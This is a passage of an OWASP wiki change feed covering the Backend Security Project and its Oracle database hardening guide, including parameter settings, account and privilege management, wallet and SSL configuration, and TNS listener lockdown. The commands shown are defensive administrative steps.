&lt;br /&gt;
[[Category:OWASP Project]]&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=45189</id>
		<title>Category:OWASP Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=45189"/>
				<updated>2008-10-30T19:15:37Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* Welcome to the OWASP Backend Security Project */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[:Category:OWASP Project|Click here to return to OWASP Projects page.]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[:Project Information:template Backend Security Project|Click here to see (&amp;amp; edit, if wanted) the template.]] &lt;br /&gt;
{{:Project Information:template Backend Security Project}}&lt;br /&gt;
&lt;br /&gt;
== Welcome to the OWASP Backend Security Project ==&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is the first OWASP project entirely dedicated to the core of the Web Applications.&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/OWASP_Backend_Security_Project OWASP Backend Security Project wiki v1.0 beta]&lt;br /&gt;
Now Available: [http://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta_2008.pdf OWASP Backend Security Project 1.0 beta 2008.pdf]&lt;br /&gt;
&lt;br /&gt;
== Objectives ==&lt;br /&gt;
&lt;br /&gt;
The aim of this OWASP project is to create a new guide that could allow developers, administrators and testers to comprehend any parts of the security process about back-end components that directly communicate with the web applications as well as databases, ldaps, payment gateway, and much more.&lt;br /&gt;
&lt;br /&gt;
== Join the project ==&lt;br /&gt;
&lt;br /&gt;
To reach this purpose our community needs more Information Technology security professionals as possible to create a new point of reference for the entire OWASP community.&lt;br /&gt;
Although these information are briefly discussed in the others OWASP projects the community would like to collect those already existing information and creating new sections related to the not mentioned back-end components.&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is composed of three sections: security development, security hardening, security testing.&lt;br /&gt;
&lt;br /&gt;
Below are described the main professional skills requested: &lt;br /&gt;
&lt;br /&gt;
     - Web Developers&lt;br /&gt;
     - System Administrators&lt;br /&gt;
     - DB Administrators&lt;br /&gt;
     - Penetration Testers&lt;br /&gt;
&lt;br /&gt;
Below are described the main technology skills requested:&lt;br /&gt;
&lt;br /&gt;
''' * Programming Languages '''&lt;br /&gt;
          - JAVA&lt;br /&gt;
          - PHP&lt;br /&gt;
          - .NET&lt;br /&gt;
&lt;br /&gt;
''' * Database Server '''&lt;br /&gt;
          - ORACLE&lt;br /&gt;
          - SQL Server&lt;br /&gt;
          - DB2&lt;br /&gt;
          - MySQL&lt;br /&gt;
          - PostgreSQL&lt;br /&gt;
&lt;br /&gt;
''' * LDAP Server '''&lt;br /&gt;
          - OpenLDAP&lt;br /&gt;
          - iPlanet LDAP&lt;br /&gt;
          - Active Directory&lt;br /&gt;
&lt;br /&gt;
''' * Other back-end components '''&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project needs of the OWASP community and new volunteers to become a new point of reference about the Web Application Security and a new OWASP success.&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
https://lists.owasp.org/mailman/listinfo/owasp-backend-security&lt;br /&gt;
&lt;br /&gt;
owasp-backend-security@lists.owasp.org&lt;br /&gt;
&lt;br /&gt;
== News ==&lt;br /&gt;
&lt;br /&gt;
06/19/2008 - 1st OWASP Summer of Code 2008 deadline: 29th June 2008.&lt;br /&gt;
&lt;br /&gt;
04/18/2008 - OWASP Backend Security Project will participate to the next OWASP Summer of Code 2008.&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - OWASP Backend Security Project will be presented at OWASP Day 2 organized by OWASP-Italy (Rome, University &amp;quot;La Sapienza&amp;quot; Via Salaria, 113).&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - 1st dead line: (03/31/2008) - We need to collect the existing information in other areas of the OWASP wiki for the similar categories.&lt;br /&gt;
&lt;br /&gt;
== Contacts ==&lt;br /&gt;
&lt;br /&gt;
carlo.pelliccioni &amp;lt;at&amp;gt; gmail.com&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:OWASP_Backend_Security_Project_1.0beta_2008.pdf&amp;diff=45180</id>
		<title>File:OWASP Backend Security Project 1.0beta 2008.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:OWASP_Backend_Security_Project_1.0beta_2008.pdf&amp;diff=45180"/>
				<updated>2008-10-30T19:08:45Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_About&amp;diff=45099</id>
		<title>OWASP Backend Security Project About</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_About&amp;diff=45099"/>
				<updated>2008-10-29T19:30:17Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: New page: OWASP Backend Security Project is the first OWASP project entirely dedicated to the core of the Web Applications. The aim of this OWASP project is to create a new guide that could allow de...&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;OWASP Backend Security Project is the first OWASP project entirely dedicated to the core of the Web Applications.&lt;br /&gt;
The aim of this OWASP project is to create a new guide that could allow developers, administrators and testers to comprehend any parts of the security process about back-end components that directly communicate with the web applications as well as databases, ldaps, etc..&lt;br /&gt;
Several contributors (developers, system integrators and security testers) have contributed to achieve this important aim consisting in a beta quality guide composed by three sections oriented to the security field:&lt;br /&gt;
* Development&lt;br /&gt;
* Hardening&lt;br /&gt;
* Testing&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Oracle_Hardening&amp;diff=45078</id>
		<title>OWASP Backend Security Project Oracle Hardening</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Oracle_Hardening&amp;diff=45078"/>
				<updated>2008-10-29T14:52:55Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* Overview */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Overview =&lt;br /&gt;
== Installation security ==&lt;br /&gt;
&lt;br /&gt;
This section is useful to understand how the installation could introduce vulnerabilities when it is not made “security oriented”. &lt;br /&gt;
&lt;br /&gt;
=== Options and products ===&lt;br /&gt;
&lt;br /&gt;
First of all an advanced installation should be performed to custom the installation process to install only the components required by application will connect to database. &lt;br /&gt;
&lt;br /&gt;
=== Sample schemas === &lt;br /&gt;
&lt;br /&gt;
The installed schema should be reviewed, especially the sample schemas provided by Oracle base installation, and remove any schema not needed. &lt;br /&gt;
&lt;br /&gt;
Example SQL to remove a schema: &lt;br /&gt;
&lt;br /&gt;
   SQL&amp;gt; DROP USER &amp;lt;user_name&amp;gt; CASCADE;&lt;br /&gt;
&lt;br /&gt;
= Description =&lt;br /&gt;
&lt;br /&gt;
=== Initialization parameters ===&lt;br /&gt;
&lt;br /&gt;
This section covers the Oracle Initialization parameters that are relevant for the security. All the following initialization parameters have to be specified for all Oracle instances. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Parameter name !! Description !! Security value &lt;br /&gt;
|-&lt;br /&gt;
| REMOTE_OS_AUTHENTICATION || This parameter should be set to FALSE to deny the authentication of remote clients by operating system. || FALSE&lt;br /&gt;
|-&lt;br /&gt;
| REMOTE_LOGIN_PASSWORDFILE || This parameter should be set to NONE, but if this functionality is required set the parameter EXCLUSIVE to make it more secure considering that the password file can be used by only one database. || NONE&lt;br /&gt;
|-&lt;br /&gt;
| RESOURCE_LIMIT || This parameter should be set to TRUE to enforce other parameter about resource limitsuch as idle time limits. The default is FALSE.&lt;br /&gt;
 || TRUE&lt;br /&gt;
|-&lt;br /&gt;
| REMOTE_OS_ROLES || This parameter should be set to FALSE to deny the operating system groups to control Oracle roles. || FALSE  &lt;br /&gt;
|-&lt;br /&gt;
| OS_ROLES || This parameter should be set to FALSE to configure Oracle to identify and manage the roles.&lt;br /&gt;
Default value false.&lt;br /&gt;
 || FALSE  &lt;br /&gt;
|-&lt;br /&gt;
| UTL_FILE_DIR || This parameter should be set to NULL to specify any directories that Oracle should use for PL/SQL file I/O.&lt;br /&gt;
 || NULL &lt;br /&gt;
|-&lt;br /&gt;
| USER_DUMP_DEST || This parameter should be set to a protect directory considering that is the directory where the server stores debugging trace file of a user process || &amp;lt;Protected Directory&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| BACKGROUND_DUMP_DEST || This parameter should be set to a protect directory considering that is the directory where the server writes debugging trace file of background process || &amp;lt;Protected Directory&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| CORE_DUMP_DEST || This parameter should be set to a protect directory considering that is the directory where the server dumps core files.|| &amp;lt;Protected Directory&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Example SQL for setting the REMOTE_OS_AUTHENTICATION parameter:&lt;br /&gt;
&lt;br /&gt;
   SQL&amp;gt; ALTER SYSTEM SET REMOTE_OS_AUTHENTICATION = FALSE SCOPE=BOTH&lt;br /&gt;
&lt;br /&gt;
Scope:&lt;br /&gt;
* MEMORY: This value changes the instance immediately, but the configuration is lost after a restart. &lt;br /&gt;
* SPFILE: This value does NOT change the instance immediately, but a restart is necessary to take effect. &lt;br /&gt;
* BOTH: This value changes the instance immediately as well as the spfile. &lt;br /&gt;
&lt;br /&gt;
=== Operating system security ===&lt;br /&gt;
&lt;br /&gt;
==== Owner account ====&lt;br /&gt;
&lt;br /&gt;
The Oracle OS installation account, owner of all Oracle application and datafiles, should be used only for the update and the maintenance of the Oracle software and should not be used during the standard DBA activities. The individual DBAs will have to use their assigned OS personal accounts, so the auditing process will be able to actions performed with the correct OS account. The Oracle software installation account will not be a member of the administrative group.&lt;br /&gt;
&lt;br /&gt;
==== Files and directories ====&lt;br /&gt;
&lt;br /&gt;
All files and directories generated during the installation process of Oracle should be restricted to the Oracle software owner and the DBA user group, especially the files listed below: &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! File name !! Description &lt;br /&gt;
|-&lt;br /&gt;
| init.ora and/or init&amp;lt;SID&amp;gt;.ora&lt;br /&gt;
Spfile.ora&lt;br /&gt;
 || The file houses Oracle initialization parameter files. Replace SID with the name of your SID.&lt;br /&gt;
|-&lt;br /&gt;
| orapw&amp;lt;SID&amp;gt; || The file contain SYS password and the password of accounts granted the SYSDBA or SYSOPER role. Replace SID with the name of your SID.&lt;br /&gt;
|-&lt;br /&gt;
| listener.ora || The file houses listener configuration parameters and password.&lt;br /&gt;
|-&lt;br /&gt;
| snmp_rw.ora || The file contains the password for the DBSNMP database account in cleartext.&lt;br /&gt;
|-&lt;br /&gt;
| snmp_ro.ora || The file houses configuration information for the Oracle Intelligent Agent.&lt;br /&gt;
|-&lt;br /&gt;
| sqlnet.ora || The file contains network configuration information for the host database and listener.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Other accounts should be denied to access except to executables under the “bin” directory although the permission of all files stored in the “bin” directory should be configured in order to be owned by the Oracle software installation account.&lt;br /&gt;
&lt;br /&gt;
=== Patching ===&lt;br /&gt;
The Oracle Database should be kept up to date therefore, periodically, the Oracle Technology Network web site should be checked (http://otn.oracle.com/deploy/security/alerts.htm) to keep up on security alerts issued from Oracle Corporation in regard to all installed components. &lt;br /&gt;
Sometime, there are public vulnerabilities about Oracle software without a patch so it is a good idea subscribe to the security mailing lists so that it would be possible to catch those new security issues and to find a way to mitigate the risk of a new vulnerability.&lt;br /&gt;
&lt;br /&gt;
== Account management ==&lt;br /&gt;
&lt;br /&gt;
=== Lock and expire unused accounts ===&lt;br /&gt;
&lt;br /&gt;
A number of default database server user accounts are create during the installation process so, if the Database Configuration Assistant is not used, default database user accounts should be all locked and expired. Unlock only those accounts that need to be accessed on a regular basis and assign a strong password to each of these unlocked accounts. &lt;br /&gt;
&lt;br /&gt;
Example SQL for reviewing the Oracle Default Accounts with status “OPEN”: &lt;br /&gt;
&lt;br /&gt;
   SQL&amp;gt; SELECT &amp;lt;user_name&amp;gt; FROM dba_users WHERE account_status &amp;lt;&amp;gt; ’OPEN’ ORDER BY &amp;lt;user_name&amp;gt;;&lt;br /&gt;
&lt;br /&gt;
Example SQL for Locking Accounts: &lt;br /&gt;
&lt;br /&gt;
   SQL&amp;gt; ALTER USER &amp;lt;user_name&amp;gt; ACCOUNT LOCK;&lt;br /&gt;
&lt;br /&gt;
=== Change default password ===&lt;br /&gt;
&lt;br /&gt;
The major weakness concerning the password is that some user default accounts, after the installation, still have a default password associated, the passwords of all default accounts should be reviewed (SYS, SYSTEM, DBSNMP, OUTLN and so on) and changed if necessary.  &lt;br /&gt;
&lt;br /&gt;
=== Enforce password policy ===&lt;br /&gt;
&lt;br /&gt;
The password policy should be enforced by password verification function setting password parameter (list below) and providing password complexity feature like minimum length, password not same as the username, the password contains repeating characters, the password differs from the previous password by at least a certain number of letters. &lt;br /&gt;
&lt;br /&gt;
Example SQL  for setting a password verification function to a profile:&lt;br /&gt;
&lt;br /&gt;
   SQL&amp;gt; CREATE PROFILE &amp;lt;profile_name&amp;gt; LIMIT PASSWORD_VERIFICATION_FUCTION &amp;lt;function_name&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example SQL  for assigning profile profile to a user:&lt;br /&gt;
&lt;br /&gt;
   SQL&amp;gt; CREATE USER &amp;lt;user_name&amp;gt; IDENTIFIED BY &amp;lt;password&amp;gt; PROFILE &amp;lt;profile_name&amp;gt;;&lt;br /&gt;
&lt;br /&gt;
=== Privileges and Roles ===&lt;br /&gt;
&lt;br /&gt;
Due to the great number and variety of applications that make use of the database, it’s difficult to define in advance which kind of privilege have to be granted to a user. In order to make this choice, could be a good practice the “principle of least privilege”, that is not providing database users, especially PUBLIC, more privileges than necessary.&lt;br /&gt;
&lt;br /&gt;
The user privileges are split in System Privileges and Object Privileges, you can grant privileges to users explicitly:&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; GRANT &amp;lt;object_privilege&amp;gt; ON &amp;lt;object_name&amp;gt; TO &amp;lt;user_name&amp;gt;;&lt;br /&gt;
 SQL&amp;gt; GRANT &amp;lt;system_privilege&amp;gt; TO &amp;lt;user_name&amp;gt; [WITH ADMIN OPTION];&lt;br /&gt;
&lt;br /&gt;
Where “WITH ADMIN OPTION” means that the new user can grant the same system privilege to another user. &lt;br /&gt;
&lt;br /&gt;
Also, you can grant privileges to a role (recommended), a group of privileges:&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; GRANT &amp;lt;object_privilege&amp;gt; ON &amp;lt;object_name&amp;gt; TO &amp;lt;role_name&amp;gt;;&lt;br /&gt;
 SQL&amp;gt; GRANT &amp;lt;system_privilege&amp;gt; TO &amp;lt;role_name&amp;gt;;&lt;br /&gt;
&lt;br /&gt;
and then you should grant the role to users:&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; GRANT &amp;lt;role_name&amp;gt; TO &amp;lt;user_name&amp;gt;;&lt;br /&gt;
&lt;br /&gt;
Periodically, is better to review the privileges (system and object) of the all database user. As an example, it is possible to use the following SQL script by executing as a user with the right privileges in order to review the system privilege (only) of specific user:&lt;br /&gt;
&lt;br /&gt;
 set pagesize 0&lt;br /&gt;
 set head off&lt;br /&gt;
 set feed off&lt;br /&gt;
 set linesize 240&lt;br /&gt;
 set trimspool on&lt;br /&gt;
 col ord noprint&lt;br /&gt;
 set echo off&lt;br /&gt;
 accept username prompt' Insert a value for username:'&lt;br /&gt;
 SELECT LPAD(' ', 2*level) || granted_role &amp;quot;USER PRIVS&amp;quot;&lt;br /&gt;
 FROM (&lt;br /&gt;
    SELECT NULL grantee,  username granted_role&lt;br /&gt;
    FROM dba_users&lt;br /&gt;
    WHERE username LIKE UPPER('&amp;amp;&amp;amp;username')&lt;br /&gt;
    UNION&lt;br /&gt;
    SELECT grantee, granted_role&lt;br /&gt;
    FROM dba_role_privs&lt;br /&gt;
    UNION&lt;br /&gt;
    SELECT grantee, privilege&lt;br /&gt;
    FROM dba_sys_privs)&lt;br /&gt;
 START WITH grantee IS NULL&lt;br /&gt;
 CONNECT BY grantee = prior granted_role;&lt;br /&gt;
&lt;br /&gt;
An example of output:&lt;br /&gt;
&lt;br /&gt;
  Insert a value for username: owasp&lt;br /&gt;
  OWASP&lt;br /&gt;
    CONNECT&lt;br /&gt;
      CREATE SESSION&lt;br /&gt;
    RESOURCE&lt;br /&gt;
      CREATE CLUSTER&lt;br /&gt;
      CREATE INDEXTYPE&lt;br /&gt;
      CREATE OPERATOR&lt;br /&gt;
      CREATE PROCEDURE&lt;br /&gt;
      CREATE SEQUENCE&lt;br /&gt;
      CREATE TABLE&lt;br /&gt;
      CREATE TRIGGER&lt;br /&gt;
      CREATE TYPE&lt;br /&gt;
    UNLIMITED TABLESPACE&lt;br /&gt;
&lt;br /&gt;
Afterward revoke the privileges that is not necessary from user:&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; REVOKE &amp;lt;system_privilege&amp;gt; FROM &amp;lt;user_name&amp;gt;;&lt;br /&gt;
 SQL&amp;gt; REVOKE &amp;lt;object_privilege&amp;gt; ON &amp;lt;object_name&amp;gt; FROM &amp;lt;user_name&amp;gt;;&lt;br /&gt;
&lt;br /&gt;
or from role:&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; REVOKE &amp;lt;system_privilege&amp;gt; FROM &amp;lt;role_name&amp;gt;;&lt;br /&gt;
 SQL&amp;gt; REVOKE &amp;lt;object_privilege&amp;gt; ON &amp;lt;object_name&amp;gt; FROM &amp;lt;role_name&amp;gt;;&lt;br /&gt;
&lt;br /&gt;
=== Automated processing database accounts ===&lt;br /&gt;
&lt;br /&gt;
The major weakness using batch jobs is to manage user names and passwords in fact, typically, it connects to databases by using directly the command sqlplus:&lt;br /&gt;
&lt;br /&gt;
       sqlplus -s &amp;lt;user_name&amp;gt;/&amp;lt;password&amp;gt;@&amp;lt;TNS alias&amp;gt; &amp;lt;&amp;lt; EOF&lt;br /&gt;
       &amp;lt;SQL statement&amp;gt;&lt;br /&gt;
       EOF&lt;br /&gt;
&lt;br /&gt;
In this way it is possible to see the username and password in clear text by using the command to check the process status, such as “ps” command in a unix environment. &lt;br /&gt;
To avoid it could be used a standard CONNECT statement within batch jobs, like this: &lt;br /&gt;
&lt;br /&gt;
       sqlplus /nolog &amp;lt;&amp;lt; EOF&lt;br /&gt;
       CONNECT &amp;lt;user_name&amp;gt;/&amp;lt;password&amp;gt;&lt;br /&gt;
       &amp;lt;SQL statement&amp;gt;&lt;br /&gt;
       EOF&lt;br /&gt;
&lt;br /&gt;
IIn this last case it is suggested to save the crypted password in a well protected configuration file and then decrypt them just before execute the CONNECT statement. &lt;br /&gt;
Another (recommended) possibility is to delegate the password management to a guaranteed third part as Secure External Password Store provided by Oracle Advanced Security component that save the credentials in a secure way. &lt;br /&gt;
When the clients are configured to use the secure external password store, batch jobs can connect to a database replacing the login credentials with an alias (database connection string) stored into container (named wallet).&lt;br /&gt;
&lt;br /&gt;
To enable clients to use the external password store the first thing to do is to create an Oracle wallet with the autologin feature (access to wallet contents not require a password ) by using the follow command from OS command prompt:&lt;br /&gt;
&lt;br /&gt;
        mkstore -wrl &amp;lt;wallet_location&amp;gt; -create&lt;br /&gt;
&lt;br /&gt;
Then, you should create database connection credentials in the wallet:&lt;br /&gt;
&lt;br /&gt;
        mkstore -wrl &amp;lt;wallet_location&amp;gt; -createCredential &amp;lt;db_connect_string&amp;gt; &amp;lt;user_name&amp;gt; &amp;lt;password&amp;gt;&lt;br /&gt;
&lt;br /&gt;
After the wallet is ready, you should force the client to use the information stored in the “secure password store” to authenticate to databases by configuring sqlnet.ora file. &lt;br /&gt;
&lt;br /&gt;
Example of entries to add in sqlnet.ora file:&lt;br /&gt;
&lt;br /&gt;
        WALLET_LOCATION =&lt;br /&gt;
        (SOURCE =&lt;br /&gt;
        (METHOD = FILE)&lt;br /&gt;
        (METHOD_DATA =&lt;br /&gt;
        (DIRECTORY = &amp;lt;wallet_location&amp;gt;)&lt;br /&gt;
        )&lt;br /&gt;
        )&lt;br /&gt;
        SQLNET.WALLET_OVERRIDE = TRUE&lt;br /&gt;
&lt;br /&gt;
The same configuration are possible to do by using Oracle Wallet Manager.&lt;br /&gt;
&lt;br /&gt;
Following this way the risk is reduced because passwords are not exposed in the clear-text considering the applications can connect to a database with the following CONNECT statement syntax:&lt;br /&gt;
&lt;br /&gt;
        connect /@&amp;lt;db_connect_string&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where “db_connect_string” is the database connection credential, created before.&lt;br /&gt;
&lt;br /&gt;
== Network security ==&lt;br /&gt;
&lt;br /&gt;
=== Encrypt network logins ===&lt;br /&gt;
&lt;br /&gt;
The password information in a connection request should be encrypted to protect against network eavesdropping. The value of the follow parameter should be review:&lt;br /&gt;
&lt;br /&gt;
   ORA_ENCRYPT_LOGIN (on the client machine)&lt;br /&gt;
   DBLINK_ENCRYPT_LOGIN (on the server machine)&lt;br /&gt;
&lt;br /&gt;
Once these parameters have been set to TRUE, passwords will be encrypted in connection requests.&lt;br /&gt;
Note that on Oracle version 9.02 and later these parameter are not available, in fact it encrypts automatically the password information when transmitting over a network, although the setting or changing of passwords is NOT encrypted when across the network.&lt;br /&gt;
&lt;br /&gt;
=== Protect network communications ===&lt;br /&gt;
&lt;br /&gt;
Consider configuring the Oracle Advanced Security component to use Secure Socket Layer (SSL) encrypting network traffic between clients and databases to avoid network eavesdropping.&lt;br /&gt;
Below, you can see an example of a basic configuration:&lt;br /&gt;
&lt;br /&gt;
==== Server side ====&lt;br /&gt;
&lt;br /&gt;
To enable SSL database connection it would be correct to create an Oracle wallet (with the autologin feature) and generate a certificate request by using Wallet Manager component. Then it should be sent to the Certificate Authority; when the CA trusted and the user certificate is received, these certificate should be imported into the wallet. Then configure the Oracle Advanced Security component by using the Net Manager utility (recommended) or modify the sqlnet.ora and listener.ora file. At the end, the sqlnet.ora and listener.ora files should contain the following entries:&lt;br /&gt;
&lt;br /&gt;
  WALLET_LOCATION = &lt;br /&gt;
    (SOURCE =&lt;br /&gt;
   	(METHOD = FILE)&lt;br /&gt;
   	(METHOD_DATA =&lt;br /&gt;
   		(DIRECTORY = &amp;lt;wallet_location&amp;gt; )&lt;br /&gt;
         )&lt;br /&gt;
     )&lt;br /&gt;
   SSL_CLIENT_AUTHENTICATION = FALSE&lt;br /&gt;
   SQLNET.AUTHENTICATION_SERVICES= (TCPS)&lt;br /&gt;
&lt;br /&gt;
==== Client side ====&lt;br /&gt;
&lt;br /&gt;
After the wallet is configured, the client should be configured to use SSL connection to connect to databases by configuring sqlnet.ora file. Example of entries to add in sqlnet.ora file: &lt;br /&gt;
&lt;br /&gt;
  WALLET_LOCATION = &lt;br /&gt;
    (SOURCE =&lt;br /&gt;
  	(METHOD = FILE)&lt;br /&gt;
  	(METHOD_DATA =&lt;br /&gt;
   		(DIRECTORY = &amp;lt;wallet_location&amp;gt; )&lt;br /&gt;
         )&lt;br /&gt;
    )&lt;br /&gt;
  SSL_SERVER_DN_MATCH = OFF&lt;br /&gt;
  SSL_CLIENT_AUTHENTICATION = FALSE&lt;br /&gt;
  SQLNET.AUTHENTICATION_SERVICES= (TCPS)&lt;br /&gt;
&lt;br /&gt;
Now, a network connection to the SSL listener should be configured by configuring the tnsname.ora file:&lt;br /&gt;
&lt;br /&gt;
  SSL =&lt;br /&gt;
  (DESCRIPTION =&lt;br /&gt;
  (ADDRESS_LIST =&lt;br /&gt;
  (ADDRESS = (PROTOCOL = TCPS)(HOST = &amp;lt;host_name&amp;gt;)(PORT = &amp;lt;port&amp;gt;))&lt;br /&gt;
   )&lt;br /&gt;
   (CONNECT_DATA =&lt;br /&gt;
   (SID = &amp;lt;SID_name&amp;gt;)&lt;br /&gt;
  )&lt;br /&gt;
  )&lt;br /&gt;
&lt;br /&gt;
=== XML database (XDB) protocol server ===&lt;br /&gt;
&lt;br /&gt;
The XML Database (XDB) offers access to the Oracle XML DB resources using the standard Internet protocols FTP, listening on TCP port 2100, and HTTP, listening on TCP port 8080. &lt;br /&gt;
The Oracle XML DB Protocol Server is a specific type of Oracle shared server dispatcher and is specified in the Oracle database initialization parameter file for startup, so if XDB is not used it should be turned off editing the init&amp;lt;SID&amp;gt;.ora or spfile&amp;lt;SID&amp;gt;.ora (replace SID with the name of your SID) file and remove or comment the follow line: &lt;br /&gt;
&lt;br /&gt;
  dispatchers=&amp;quot;(PROTOCOL=TCP) (SERVICE=&amp;lt;SID&amp;gt;XDB)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
If access via the Internet protocols is required, logging should be enabled by setting the “ftp-log-level” and “http-log-level” parameters to a value of 1 in xdbconfig.xml file.&lt;br /&gt;
&lt;br /&gt;
== Oracle TNS Listener security ==&lt;br /&gt;
&lt;br /&gt;
=== Password ===&lt;br /&gt;
&lt;br /&gt;
A listener password should be set at the end of listener configuration process to avoid from unauthorized start, stop, and configure. The password will be stored in encrypted format within the listener.ora file by using the LSNRCTL utility:&lt;br /&gt;
&lt;br /&gt;
   LSNRCTL&amp;gt; set current_listener &amp;lt;listener_name&amp;gt;&lt;br /&gt;
   LNSRCTL&amp;gt; set password&lt;br /&gt;
   Password: (type &amp;quot;enter&amp;quot; if it is the first time)&lt;br /&gt;
   The command completed successfully&lt;br /&gt;
   LSNRCTL&amp;gt; change_password&lt;br /&gt;
   Old password: (type &amp;quot;enter&amp;quot;)&lt;br /&gt;
   New password: &amp;lt;new_password&amp;gt;&lt;br /&gt;
   Reenter new password: &amp;lt;new_password&amp;gt;&lt;br /&gt;
   […]&lt;br /&gt;
   The command completed successfully&lt;br /&gt;
   LSNRCTL&amp;gt; save_config (important to save the configuration)&lt;br /&gt;
   […]&lt;br /&gt;
   Saved LISTENER configuration parameters.&lt;br /&gt;
   Listener Parameter File […]&lt;br /&gt;
   Old Parameter File […]&lt;br /&gt;
   The command completed successfully&lt;br /&gt;
   LSNRCTL&amp;gt; exit&lt;br /&gt;
&lt;br /&gt;
=== Admin restrictions ===&lt;br /&gt;
&lt;br /&gt;
The remote administration of the Oracle listener should be prevented by setting to TRUE the  ADMIN_RESTRICTIONS parameter in the listener.ora file:&lt;br /&gt;
&lt;br /&gt;
   ADMIN_RESTRICTIONS_&amp;lt;listener_name&amp;gt; = TRUE&lt;br /&gt;
&lt;br /&gt;
=== Network address restriction ===&lt;br /&gt;
&lt;br /&gt;
The network address restrictions should be enforced by the Oracle listener to further protect the database from unauthorized remote access, especially when the PLSQL EXTPROC is in use. To enable network address restriction, edit the SQLNET.ORA to add the follow line:&lt;br /&gt;
&lt;br /&gt;
   TCP.VALIDNODE_CHECKING = YES&lt;br /&gt;
&lt;br /&gt;
Then, to define TCP/IP addresses that are allowed to connect to database add the follow line:&lt;br /&gt;
&lt;br /&gt;
   TCP.INVITED_NODES = &amp;lt;list of IP addresses&amp;gt;&lt;br /&gt;
&lt;br /&gt;
At the end, to defines TCP/IP addresses that are refused connections to the database set the follow parameter&lt;br /&gt;
&lt;br /&gt;
   TCP.EXCLUDED_NODES = &amp;lt;list of IP addresses&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== External procedures ===&lt;br /&gt;
&lt;br /&gt;
The EXTPROC functionality is used by PL/SQL component to make calls to the operating system and to load necessary library to execute external procedure, but if the Oracle Database server is not properly patched it even could allow unauthorized administrative access to the server machine through the Oracle Listener. If the EXTPROC functionality is not required, it has to be disabled by editing the tnsname.ora and listener.ora files and removing the entries regarding this functionality.&lt;br /&gt;
&lt;br /&gt;
Example of entries to remove in tnsname.ora file:&lt;br /&gt;
&lt;br /&gt;
  […]&lt;br /&gt;
     EXTPROC_CONNECTION_DATA =&lt;br /&gt;
     (DESCRIPTION =&lt;br /&gt;
     (ADDRESS_LIST =&lt;br /&gt;
        (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))&lt;br /&gt;
      )&lt;br /&gt;
      (CONNECT_DATA =&lt;br /&gt;
        (SID = PLSExtProc)&lt;br /&gt;
        (PRESENTATION = RO)&lt;br /&gt;
      )&lt;br /&gt;
     )&lt;br /&gt;
  […]&lt;br /&gt;
&lt;br /&gt;
Example of entries to remove in listener.ora file:&lt;br /&gt;
&lt;br /&gt;
  […]&lt;br /&gt;
      (ADDRESS_LIST =&lt;br /&gt;
         (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC))&lt;br /&gt;
       )&lt;br /&gt;
  […]&lt;br /&gt;
&lt;br /&gt;
  […]&lt;br /&gt;
     (SID_DESC =&lt;br /&gt;
       (SID_NAME = PLSExtProc)&lt;br /&gt;
       (ORACLE_HOME = […])&lt;br /&gt;
      )&lt;br /&gt;
  […]&lt;br /&gt;
&lt;br /&gt;
After that restart the Oracle Net listener process. &lt;br /&gt;
Then check if the configuration take effect by using the operation status in LSNRCTL command, and review the configuration if the last command display the follow lines: &lt;br /&gt;
&lt;br /&gt;
   Listening Endpoints Summary...&lt;br /&gt;
         (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC)))&lt;br /&gt;
